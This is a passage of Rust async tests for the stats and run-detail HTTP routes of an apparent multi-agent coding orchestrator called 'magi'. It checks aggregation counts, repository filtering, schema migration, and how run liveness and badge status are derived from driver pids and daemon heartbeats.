18675        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18676            v["agents"]
18677                .as_array()
18678                .expect("array")
18679                .iter()
18680                .map(|a| a["agent"].as_str().unwrap().to_owned())
18681                .collect()
18682        };
18683        let hidden = f.get("/api/stats").await.json();
18684        assert_eq!(agents_of(&hidden), ["keep"]);
18685        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18686        assert_eq!(hidden["totals"]["runs"], 1);
18687
18688        let all = f.get("/api/stats?all=true").await.json();
18689        assert_eq!(agents_of(&all).len(), 2);
18690        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18691        // Verify competitive and solo keys exist on agent entries
18692        let keep_agent = all["agents"]
18693            .as_array()
18694            .unwrap()
18695            .iter()
18696            .find(|a| a["agent"] == "keep")
18697            .unwrap();
18698        assert_eq!(keep_agent["competitive_entered"], 1);
18699        assert_eq!(keep_agent["competitive_wins"], 0);
18700        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18701        assert_eq!(keep_agent["solo_entered"], 0);
18702        assert_eq!(keep_agent["solo_adopted"], 0);
18703        assert!(keep_agent["solo_adoption_rate"].is_null());
18704    }
18705
18706    #[tokio::test]
18707    async fn stats_release_bumps_split_clean_from_attention() {
18708        use crate::run::ReleaseBump;
18709
18710        let f = Fixture::start().await;
18711
18712        let mut clean = RunState::new(
18713            PathBuf::from("/repo/magi"),
18714            "main".to_owned(),
18715            "0123456789abcdef".to_owned(),
18716            "task".to_owned(),
18717            Config::default(),
18718        );
18719        clean.id = "20260902-140501-a".to_owned();
18720        clean.status = RunStatus::Merged;
18721        clean.release_bump = Some(ReleaseBump {
18722            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18723            version: Some("1.0.0".to_owned()),
18724            automerge_enabled: true,
18725            merged_directly: false,
18726            local: false,
18727            release: None,
18728            problem: None,
18729            action_required: None,
18730            skipped: None,
18731        });
18732
18733        let mut blocked = RunState::new(
18734            PathBuf::from("/repo/magi"),
18735            "main".to_owned(),
18736            "0123456789abcdef".to_owned(),
18737            "task".to_owned(),
18738            Config::default(),
18739        );
18740        blocked.id = "20260902-140502-b".to_owned();
18741        blocked.status = RunStatus::Merged;
18742        blocked.release_bump = Some(ReleaseBump {
18743            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18744            version: Some("1.0.1".to_owned()),
18745            automerge_enabled: false,
18746            merged_directly: false,
18747            local: false,
18748            release: None,
18749            problem: Some("checks red".to_owned()),
18750            action_required: Some("look at the PR".to_owned()),
18751            skipped: None,
18752        });
18753
18754        for state in [&clean, &blocked] {
18755            let dir = f.runs().join(&state.id);
18756            std::fs::create_dir_all(&dir).expect("run dir");
18757            std::fs::write(
18758                dir.join("run.json"),
18759                serde_json::to_string_pretty(state).expect("serialize run"),
18760            )
18761            .expect("write run.json");
18762        }
18763
18764        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18765        assert_eq!(bumps["merged"], 2);
18766        assert_eq!(bumps["recorded"], 2);
18767        assert_eq!(bumps["pr_opened"], 2);
18768        assert_eq!(bumps["automerge_enabled"], 1);
18769        assert_eq!(bumps["needs_attention"], 1);
18770        assert_eq!(bumps["clean"], 1);
18771        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18772        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18773    }
18774
18775    #[tokio::test]
18776    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18777        let f = Fixture::start().await;
18778        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18779
18780        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18781        assert_eq!(bumps["merged"], 1);
18782        assert_eq!(bumps["recorded"], 0);
18783        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18784        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18785        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18786        // `pr_opened` and `recorded` are both zero here, so these rates have
18787        // no denominator to compute from and must be null.
18788        assert_eq!(bumps["automerge_rate"], Value::Null);
18789        assert_eq!(bumps["attention_rate"], Value::Null);
18790    }
18791
18792    #[tokio::test]
18793    async fn stats_queue_counts_come_from_the_live_queue() {
18794        let f = Fixture::start().await;
18795        let q = f.queue();
18796        let mut queued = Task::new(
18797            "queued task".to_owned(),
18798            "do it".to_owned(),
18799            PathBuf::from("/repo"),
18800            Source::Human,
18801        );
18802        q.put(&mut queued).expect("put queued");
18803        let mut held = Task::new(
18804            "held task".to_owned(),
18805            "do it later".to_owned(),
18806            PathBuf::from("/repo"),
18807            Source::Human,
18808        );
18809        held.hold_machine(Some("out of attempts".to_owned()));
18810        q.put(&mut held).expect("put held");
18811
18812        let queue = f.get("/api/stats").await.json()["queue"].clone();
18813        assert_eq!(queue["queued"], 1);
18814        assert_eq!(queue["held"], 1);
18815        assert_eq!(queue["running"], 0);
18816        assert_eq!(queue["done"], 0);
18817        assert_eq!(queue["failed"], 0);
18818        assert_eq!(queue["blocked"], 0);
18819    }
18820
18821    #[tokio::test]
18822    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18823        let f = Fixture::start().await;
18824        let stats = f.get("/api/stats").await;
18825        assert_eq!(stats.status, 200);
18826        assert_eq!(stats.json()["totals"]["runs"], 0);
18827        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18828        assert_eq!(stats.json()["runs_unreadable"], 0);
18829        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18830        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18831        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18832        assert_eq!(stats.json()["repo"], Value::Null);
18833    }
18834
18835    #[tokio::test]
18836    async fn stats_lists_every_repository_with_runs_recorded() {
18837        let f = Fixture::start().await;
18838        write_run_repo(
18839            &f.runs(),
18840            "20260902-140501-a",
18841            RunStatus::Merged,
18842            "/repos/a",
18843        );
18844        write_run_repo(
18845            &f.runs(),
18846            "20260902-140502-b",
18847            RunStatus::Merged,
18848            "/repos/a",
18849        );
18850        write_run_repo(
18851            &f.runs(),
18852            "20260902-140503-c",
18853            RunStatus::Blocked,
18854            "/repos/b",
18855        );
18856
18857        let stats = f.get("/api/stats").await;
18858        assert_eq!(stats.status, 200);
18859        // Unfiltered - the aggregate across both repositories.
18860        assert_eq!(stats.json()["totals"]["runs"], 3);
18861        assert_eq!(stats.json()["repo"], Value::Null);
18862
18863        let repos = stats.json()["repos"].clone();
18864        let repos = repos.as_array().unwrap();
18865        assert_eq!(repos.len(), 2);
18866        // Busiest (2 runs) first.
18867        assert_eq!(repos[0]["repo"], "/repos/a");
18868        assert_eq!(repos[0]["name"], "a");
18869        assert_eq!(repos[0]["runs"], 2);
18870        assert_eq!(repos[1]["repo"], "/repos/b");
18871        assert_eq!(repos[1]["runs"], 1);
18872    }
18873
18874    #[tokio::test]
18875    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18876        let f = Fixture::start().await;
18877        write_run_repo(
18878            &f.runs(),
18879            "20260902-140501-a",
18880            RunStatus::Merged,
18881            "/repos/a",
18882        );
18883        write_run_repo(
18884            &f.runs(),
18885            "20260902-140502-b",
18886            RunStatus::Blocked,
18887            "/repos/b",
18888        );
18889
18890        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18891        assert_eq!(stats.status, 200);
18892        assert_eq!(stats.json()["totals"]["runs"], 1);
18893        assert_eq!(stats.json()["totals"]["merged"], 1);
18894        assert_eq!(stats.json()["repo"], "/repos/a");
18895        // The repository list itself is unaffected by the filter - it is
18896        // what a client switches repositories from.
18897        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18898        // runs_unreadable is a whole-workload count, never scoped to the
18899        // selected repository - see StatsView::runs_unreadable's own doc.
18900        assert_eq!(stats.json()["runs_unreadable"], 0);
18901    }
18902
18903    #[tokio::test]
18904    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18905        let f = Fixture::start().await;
18906        write_run_repo(
18907            &f.runs(),
18908            "20260902-140501-a",
18909            RunStatus::Merged,
18910            "/repos/a",
18911        );
18912        write_run_repo(
18913            &f.runs(),
18914            "20260902-140502-b",
18915            RunStatus::Merged,
18916            "/repos/b",
18917        );
18918
18919        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18920            let json = f.get(uri).await.json();
18921            let daily = json["daily"].as_array().expect("daily is an array");
18922            assert_eq!(daily.len(), 30);
18923            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18924            let mut sorted = dates.clone();
18925            sorted.sort();
18926            assert_eq!(dates, sorted);
18927            for d in daily {
18928                assert_eq!(
18929                    d["merged"].as_u64().unwrap()
18930                        + d["ready"].as_u64().unwrap()
18931                        + d["other"].as_u64().unwrap(),
18932                    d["runs"].as_u64().unwrap()
18933                );
18934            }
18935            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18936        }
18937    }
18938
18939    #[tokio::test]
18940    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18941        let f = Fixture::start().await;
18942        write_run_repo(
18943            &f.runs(),
18944            "20260902-140501-a",
18945            RunStatus::Merged,
18946            "/repos/a",
18947        );
18948
18949        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18950        assert_eq!(stats.status, 404);
18951    }
18952
18953    #[tokio::test]
18954    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18955        let f = Fixture::start().await;
18956        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18957
18958        let summary = f.get("/api/runs").await.json();
18959        let row = &summary[0];
18960        assert_eq!(row["short"], "a1b2");
18961        assert_eq!(row["status"], "ready");
18962        assert_eq!(row["done"], true);
18963        assert_eq!(row["title"], "Add a web UI");
18964        assert_eq!(row["repo_name"], "magi");
18965        assert_eq!(row["judges"], 3);
18966        assert_eq!(row["winner"], Value::Null);
18967        assert_eq!(row["reviews"], 0);
18968
18969        // The short id resolves, and the detail route is the state itself, not
18970        // a projection of it: the UI reads fields the summary does not carry.
18971        let detail = f.get("/api/runs/a1b2").await;
18972        assert_eq!(detail.status, 200);
18973        assert_eq!(detail.json()["base_branch"], "main");
18974        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18975    }
18976
18977    /// `status: "ready"` alone cannot tell a run still headed for a landing
18978    /// (a PR closed without merging, say) apart from one `[merge] mode =
18979    /// "none"` left unmerged for good — the confusion the operator flagged
18980    /// after the CLI report already grew a `not landed — nothing to do by
18981    /// design` line for exactly this case (`report.rs`). Both the list route
18982    /// and the detail route must carry a flag the phone can key on instead of
18983    /// re-deriving it from `status` + `merge.mode` itself.
18984    #[tokio::test]
18985    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18986        let f = Fixture::start().await;
18987
18988        let mut none_run = RunState::new(
18989            PathBuf::from("/repo/magi"),
18990            "main".to_owned(),
18991            "0123456789abcdef".to_owned(),
18992            "Add a web UI".to_owned(),
18993            Config::default(),
18994        );
18995        none_run.id = "20260902-140503-none".to_owned();
18996        none_run.status = RunStatus::Ready;
18997        none_run.merge = Some(crate::run::MergeOutcome {
18998            mode: crate::config::MergeMode::None,
18999            ok: true,
19000            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19001            empty: false,
19002        });
19003        write_state(&f.runs(), &none_run);
19004
19005        let mut pr_run = RunState::new(
19006            PathBuf::from("/repo/magi"),
19007            "main".to_owned(),
19008            "0123456789abcdef".to_owned(),
19009            "Add a web UI".to_owned(),
19010            Config::default(),
19011        );
19012        pr_run.id = "20260902-140504-prcl".to_owned();
19013        pr_run.status = RunStatus::Ready;
19014        pr_run.merge = Some(crate::run::MergeOutcome {
19015            mode: crate::config::MergeMode::Pr,
19016            ok: false,
19017            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19018            empty: false,
19019        });
19020        write_state(&f.runs(), &pr_run);
19021
19022        let summary = f.get("/api/runs").await.json();
19023        let rows: std::collections::HashMap<&str, &Value> = summary
19024            .as_array()
19025            .expect("an array")
19026            .iter()
19027            .map(|r| (r["id"].as_str().expect("an id"), r))
19028            .collect();
19029        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19030        assert_eq!(
19031            rows[none_run.id.as_str()]["unmerged_by_design"],
19032            true,
19033            "a mode-none Ready must be flagged in the list"
19034        );
19035        assert_eq!(
19036            rows[pr_run.id.as_str()]["unmerged_by_design"],
19037            false,
19038            "a Ready reached by a closed pull request is a different case"
19039        );
19040
19041        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19042        assert_eq!(none_detail["status"], "ready");
19043        assert_eq!(none_detail["unmerged_by_design"], true);
19044
19045        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19046        assert_eq!(pr_detail["unmerged_by_design"], false);
19047    }
19048
19049    /// `RunState::active` is only ever cleared by whoever populated it, so the
19050    /// detail route also has to say whether a daemon is actually still
19051    /// driving this run right now — otherwise a seat from a killed process's
19052    /// last wave would read as live forever.
19053    #[tokio::test]
19054    async fn run_core_survives_unavailable_related_stores() {
19055        let home = TempDir::new().unwrap();
19056        let ui = delta_test_ui(home.path());
19057        let state = RunState::new(
19058            PathBuf::from("/repo/magi"),
19059            "main".into(),
19060            "0123456789abcdef".into(),
19061            "Useful core instructions".into(),
19062            Config::default(),
19063        );
19064        let dir = ui.runs.join(&state.id);
19065        std::fs::create_dir_all(&dir).unwrap();
19066        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19067        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19068        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19069        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19070            .await
19071            .unwrap()
19072            .0;
19073        assert_eq!(core.state.instruction, state.instruction);
19074        assert_eq!(core.state.updated_at, state.updated_at);
19075        assert!(core.task.is_none());
19076        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19077    }
19078
19079    #[tokio::test]
19080    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19081        let f = Fixture::start().await;
19082        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19083        // half of this test can claim the daemon is working on it without a
19084        // second helper.
19085        let id = "20260902-140502-bbbb";
19086        let mut state = RunState::new(
19087            PathBuf::from("/repo/magi"),
19088            "main".to_owned(),
19089            "0123456789abcdef".to_owned(),
19090            "Add a web UI".to_owned(),
19091            Config::default(),
19092        );
19093        state.id = id.to_owned();
19094        state.status = RunStatus::Judging;
19095        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19096        let dir = f.runs().join(id);
19097        std::fs::create_dir_all(&dir).expect("run dir");
19098        std::fs::write(
19099            dir.join("run.json"),
19100            serde_json::to_string_pretty(&state).expect("serialize run"),
19101        )
19102        .expect("write run.json");
19103
19104        // No daemon.json at all, and no `driver_pid` recorded either (this
19105        // state was written directly, never through `execute()`): there is
19106        // nothing to confirm either way, so the route must say `"unknown"` —
19107        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19108        // run` used to get from this route before `driver_pid` existed.
19109        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19110        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19111        assert_eq!(cold["live"], "unknown", "{cold}");
19112
19113        // A fresh heartbeat naming exactly this run: the same entry now reads
19114        // as confirmed, not merely recorded.
19115        write_daemon(f.home.path(), Timestamp::now());
19116        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19117        assert_eq!(warm["live"], "live", "{warm}");
19118    }
19119
19120    #[test]
19121    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19122        let home = tempfile::tempdir().expect("temp home");
19123        let runs = home.path().join("runs");
19124        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19125            let mut state = RunState::new(
19126                PathBuf::from("/repo/magi"),
19127                "main".to_owned(),
19128                "0123456789abcdef".to_owned(),
19129                "Generated review context, not authored task criteria".to_owned(),
19130                Config::default(),
19131            );
19132            state.origin = origin;
19133            state.status = RunStatus::Blocked;
19134            // Earlier migrations must not infer these facts again.
19135            state.driver_exited = false;
19136            state.gate_ran = true;
19137            let expected = serde_json::to_value(&state).expect("serialize current state");
19138            let mut legacy = expected.clone();
19139            legacy["schema"] = serde_json::json!(13);
19140            legacy.as_object_mut().unwrap().remove("task_instruction");
19141            let dir = runs.join(&state.id);
19142            std::fs::create_dir_all(&dir).expect("run dir");
19143            let path = dir.join("run.json");
19144            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19145            std::fs::write(&path, &body).expect("write legacy run");
19146
19147            for loaded in [
19148                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19149                read_run(&runs, &state.id).expect("web migration"),
19150            ] {
19151                assert_eq!(loaded.schema, crate::run::SCHEMA);
19152                assert!(loaded.task_instruction.is_none());
19153                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19154            }
19155            assert_eq!(runs_unreadable(&runs), 0);
19156            assert_eq!(std::fs::read(&path).unwrap(), body);
19157        }
19158    }
19159
19160    /// Where a run came from is shown, and a run written before origins were
19161    /// recorded (schema 12, no `origin` key) stays readable and says so.
19162    #[tokio::test]
19163    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19164        let f = Fixture::start().await;
19165        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19166            let mut state = RunState::new(
19167                PathBuf::from("/repo/magi"),
19168                "main".to_owned(),
19169                "0123456789abcdef".to_owned(),
19170                "Add a web UI".to_owned(),
19171                Config::default(),
19172            );
19173            state.id = id.to_owned();
19174            state.origin = origin;
19175            let mut value = serde_json::to_value(&state).expect("serialize run");
19176            if let Some(schema) = schema {
19177                value["schema"] = serde_json::json!(schema);
19178                value.as_object_mut().unwrap().remove("origin");
19179            }
19180            let dir = f.runs().join(id);
19181            std::fs::create_dir_all(&dir).expect("run dir");
19182            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19183        };
19184        write(
19185            "20260930-092817-ec34",
19186            Some(crate::run::Origin::from_agent_env(
19187                Some(("4a7b".to_owned(), "chat".to_owned())),
19188                None,
19189            )),
19190            None,
19191        );
19192        write("20260930-092817-0ld1", None, Some(12));
19193
19194        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19195        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19196        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19197
19198        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19199        assert_eq!(
19200            old["origin_label"], "origin unknown (started before origins were recorded)",
19201            "{old}"
19202        );
19203        assert!(old["origin"].is_null(), "{old}");
19204
19205        let list = f.get("/api/runs").await.json();
19206        let labels: Vec<_> = list
19207            .as_array()
19208            .unwrap()
19209            .iter()
19210            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19211            .collect();
19212        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19213    }
19214
19215    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19216    /// review` claims no daemon at all, so before this field existed the
19217    /// route above read it as `"dead"` — indistinguishable from a run a
19218    /// killed process abandoned — the whole time it was genuinely still
19219    /// answering. With a live pid recorded, it must read `"live"` even
19220    /// though no daemon claims it.
19221    #[tokio::test]
19222    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19223        let f = Fixture::start().await;
19224        let id = "20260922-090000-cccc";
19225        let mut state = RunState::new(
19226            PathBuf::from("/repo/magi"),
19227            "main".to_owned(),
19228            "0123456789abcdef".to_owned(),
19229            "Review only".to_owned(),
19230            Config::default(),
19231        );
19232        state.id = id.to_owned();
19233        state.status = RunStatus::Reviewing;
19234        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19235        // This test process's own pid: guaranteed alive, and never needs a
19236        // real daemon or a second process to prove it. The matching start-time
19237        // marker is what `liveness` now requires alongside a live pid — see
19238        // `RunState::driver_started_at`'s own doc for why the pid alone is
19239        // not enough.
19240        state.driver_pid = Some(std::process::id());
19241        state.driver_started_at = Some(
19242            crate::proc::process_started_at(std::process::id())
19243                .expect("this test process's own start time must be queryable"),
19244        );
19245        let dir = f.runs().join(id);
19246        std::fs::create_dir_all(&dir).expect("run dir");
19247        std::fs::write(
19248            dir.join("run.json"),
19249            serde_json::to_string_pretty(&state).expect("serialize run"),
19250        )
19251        .expect("write run.json");
19252
19253        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19254        assert_eq!(detail["live"], "live", "{detail}");
19255    }
19256
19257    /// A killed manual run's pid can be handed to a wholly unrelated later
19258    /// process — a live query on `driver_pid` alone would read this as
19259    /// `"live"`, exactly the false positive `driver_started_at` exists to
19260    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19261    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19262    #[tokio::test]
19263    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19264        let f = Fixture::start().await;
19265        let id = "20260922-090100-dddd";
19266        let mut state = RunState::new(
19267            PathBuf::from("/repo/magi"),
19268            "main".to_owned(),
19269            "0123456789abcdef".to_owned(),
19270            "Review only".to_owned(),
19271            Config::default(),
19272        );
19273        state.id = id.to_owned();
19274        state.status = RunStatus::Reviewing;
19275        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19276        // This test process's own pid really is alive, but the marker
19277        // recorded here does not match what it actually started at —
19278        // standing in for the pid having since been reused by a different
19279        // process than the one that wrote `run.json`.
19280        state.driver_pid = Some(std::process::id());
19281        state.driver_started_at = Some("1".to_owned());
19282        let dir = f.runs().join(id);
19283        std::fs::create_dir_all(&dir).expect("run dir");
19284        std::fs::write(
19285            dir.join("run.json"),
19286            serde_json::to_string_pretty(&state).expect("serialize run"),
19287        )
19288        .expect("write run.json");
19289
19290        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19291        assert_eq!(detail["live"], "dead", "{detail}");
19292    }
19293
19294    /// The deck's competition list is normally the first place an operator
19295    /// sees an old run. It must carry the same process verdict as detail, or
19296    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19297    #[test]
19298    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19299        let mk = |id: &str, pid: Option<u32>| {
19300            let mut s = RunState::new(
19301                PathBuf::from("/repo/magi"),
19302                "main".to_owned(),
19303                "0123456789abcdef".to_owned(),
19304                "Add a web UI".to_owned(),
19305                Config::default(),
19306            );
19307            s.id = id.to_owned();
19308            s.driver_pid = pid;
19309            s.driver_started_at = Some("1790000000".to_owned());
19310            s
19311        };
19312        let states = vec![
19313            mk("20260902-140502-aaaa", Some(77)),
19314            mk("20260902-140502-bbbb", Some(77)),
19315            mk("20260902-140502-cccc", Some(77)),
19316            mk("20260902-140502-dddd", None),
19317        ];
19318        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19319        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19320        let sup: HashMap<String, String> = [(
19321            "20260902-140502-aaaa".to_owned(),
19322            "20260902-140502-cccc".to_owned(),
19323        )]
19324        .into();
19325
19326        let status_calls = std::cell::Cell::new(0);
19327        let identity_calls = std::cell::Cell::new(0);
19328        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19329            |_| {
19330                status_calls.set(status_calls.get() + 1);
19331                Some(true)
19332            },
19333            |_| {
19334                identity_calls.set(identity_calls.get() + 1);
19335                Some("1790000000".to_owned())
19336            },
19337        ));
19338        let rows = summarize(
19339            states,
19340            &open,
19341            &claimed,
19342            &sup,
19343            |p| probe.borrow_mut().status(p),
19344            |p| probe.borrow_mut().started_at(p),
19345        );
19346
19347        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19348        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19349        assert_eq!(rows.len(), 4);
19350        assert!(!rows[0].waiting && rows[1].waiting);
19351        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19352        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19353        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19354        assert_eq!(rows[1].superseded_by, None);
19355    }
19356
19357    #[test]
19358    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19359        let mut state = RunState::new(
19360            PathBuf::from("/repo/magi"),
19361            "main".to_owned(),
19362            "0123456789abcdef".to_owned(),
19363            "Review only".to_owned(),
19364            Config::default(),
19365        );
19366        state.id = "20260922-090200-dead".to_owned();
19367        state.status = RunStatus::Reviewing;
19368        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19369            .expect("serialize list row");
19370        assert_eq!(row["status"], "reviewing");
19371        assert_eq!(row["display_status"], "stale");
19372        assert_eq!(row["live"], "dead", "{row}");
19373        assert!(!row["done"].as_bool().unwrap());
19374    }
19375
19376    #[test]
19377    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19378        use crate::run::Liveness::{Dead, Live, Unknown};
19379        let mut state = RunState::new(
19380            PathBuf::from("/repo/magi"),
19381            "main".to_owned(),
19382            "abc".to_owned(),
19383            "Review only".to_owned(),
19384            Config::default(),
19385        );
19386        for (status, parked, node, waiting, live, expected) in [
19387            (
19388                RunStatus::Judging,
19389                true,
19390                "github-text",
19391                false,
19392                Dead,
19393                "parked",
19394            ),
19395            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19396            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19397            (
19398                RunStatus::Judging,
19399                true,
19400                "github-text",
19401                true,
19402                Dead,
19403                "waiting",
19404            ),
19405            (
19406                RunStatus::Judging,
19407                false,
19408                "github-text",
19409                true,
19410                Dead,
19411                "waiting",
19412            ),
19413            (
19414                RunStatus::Judging,
19415                false,
19416                "github-text",
19417                false,
19418                Dead,
19419                "stale",
19420            ),
19421            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19422            (RunStatus::Judging, true, "park", false, Live, "judging"),
19423            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19424            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19425            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19426            (
19427                RunStatus::Blocked,
19428                true,
19429                "github-text",
19430                true,
19431                Dead,
19432                "waiting",
19433            ),
19434        ] {
19435            state.status = status;
19436            state.parked = parked;
19437            state.events.clear();
19438            state.event(
19439                "park",
19440                "an earlier park does not determine the latest state",
19441            );
19442            state.event(node, "message is not used for classification");
19443            let summary = RunSummary::of(&state, waiting, live);
19444            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19445            assert_eq!(
19446                summary.display_status, expected,
19447                "{status:?}/{node}/{live:?}"
19448            );
19449            assert_eq!(detail.display_status, summary.display_status);
19450            assert_eq!(detail.waiting, summary.waiting);
19451        }
19452        state.status = RunStatus::Judging;
19453        state.parked = false;
19454        state.events.clear();
19455        assert_eq!(run_display_status(&state, false, Dead), "stale");
19456    }
19457
19458    #[test]
19459    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19460        use crate::run::Liveness::{Dead, Live, Unknown};
19461        let mut state = RunState::new(
19462            PathBuf::from("/repo/magi"),
19463            "main".to_owned(),
19464            "abc".to_owned(),
19465            "Badge".to_owned(),
19466            Config::default(),
19467        );
19468        for (status, waiting, live, superseded, expected) in [
19469            (RunStatus::Gating, false, Dead, false, "stale"),
19470            (RunStatus::Gating, false, Dead, true, "superseded"),
19471            (RunStatus::Gating, false, Unknown, true, "superseded"),
19472            (RunStatus::Gating, true, Dead, true, "superseded"),
19473            (RunStatus::Gating, true, Dead, false, "waiting"),
19474            (RunStatus::Gating, false, Unknown, false, "gating"),
19475            (RunStatus::Gating, false, Live, true, "gating"),
19476            (RunStatus::Gating, true, Live, true, "waiting"),
19477            (RunStatus::Merged, false, Dead, true, "merged"),
19478            (RunStatus::Blocked, false, Dead, true, "blocked"),
19479        ] {
19480            state.status = status;
19481            let display = run_display_status(&state, waiting, live);
19482            assert_eq!(
19483                run_badge_status(&state, &display, live, superseded),
19484                expected,
19485                "{status:?}/{live:?}/superseded={superseded}"
19486            );
19487        }
19488    }
19489
19490    #[test]
19491    fn summarize_and_detail_expose_badge_status() {
19492        use crate::run::Liveness::Dead;
19493        let mut state = RunState::new(
19494            PathBuf::from("/repo/magi"),
19495            "main".to_owned(),
19496            "abc".to_owned(),
19497            "Badge".to_owned(),
19498            Config::default(),
19499        );
19500        state.status = RunStatus::Gating;
19501        let none = HashSet::new();
19502        let id = state.id.clone();
19503        let mut by = HashMap::new();
19504        let rows = summarize(
19505            [state.clone()],
19506            &none,
19507            &none,
19508            &by,
19509            |_| Some(false),
19510            |_| None,
19511        );
19512        // No driver recorded: liveness is not provably dead, so the node stays.
19513        assert_eq!(rows[0].badge_status, rows[0].display_status);
19514        by.insert(id, "20260901-000000-913b".to_owned());
19515        let detail = RunDetailView::of(
19516            state.clone(),
19517            false,
19518            Dead,
19519            Some("913b".to_owned()),
19520            None,
19521            None,
19522        );
19523        assert_eq!(detail.badge_status, "superseded");
19524        let json = serde_json::to_value(&detail).unwrap();
19525        assert_eq!(json["badge_status"], "superseded");
19526        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19527        assert_eq!(detail.badge_status, "stale");
19528    }
19529
19530    #[tokio::test]
19531    async fn run_display_status_routes_share_the_open_question_store() {
19532        let f = Fixture::start().await;
19533        let id = "20260922-090200-abcd";
19534        write_run(&f.runs(), id, RunStatus::Judging);
19535        let mut state = read_run(&f.runs(), id).unwrap();
19536        state.parked = true;
19537        state.driver_exited = true;
19538        state.event("github-text", "waiting for the owner");
19539        state.save_under(f.home.path()).unwrap();
19540        let mut task = Task::new(
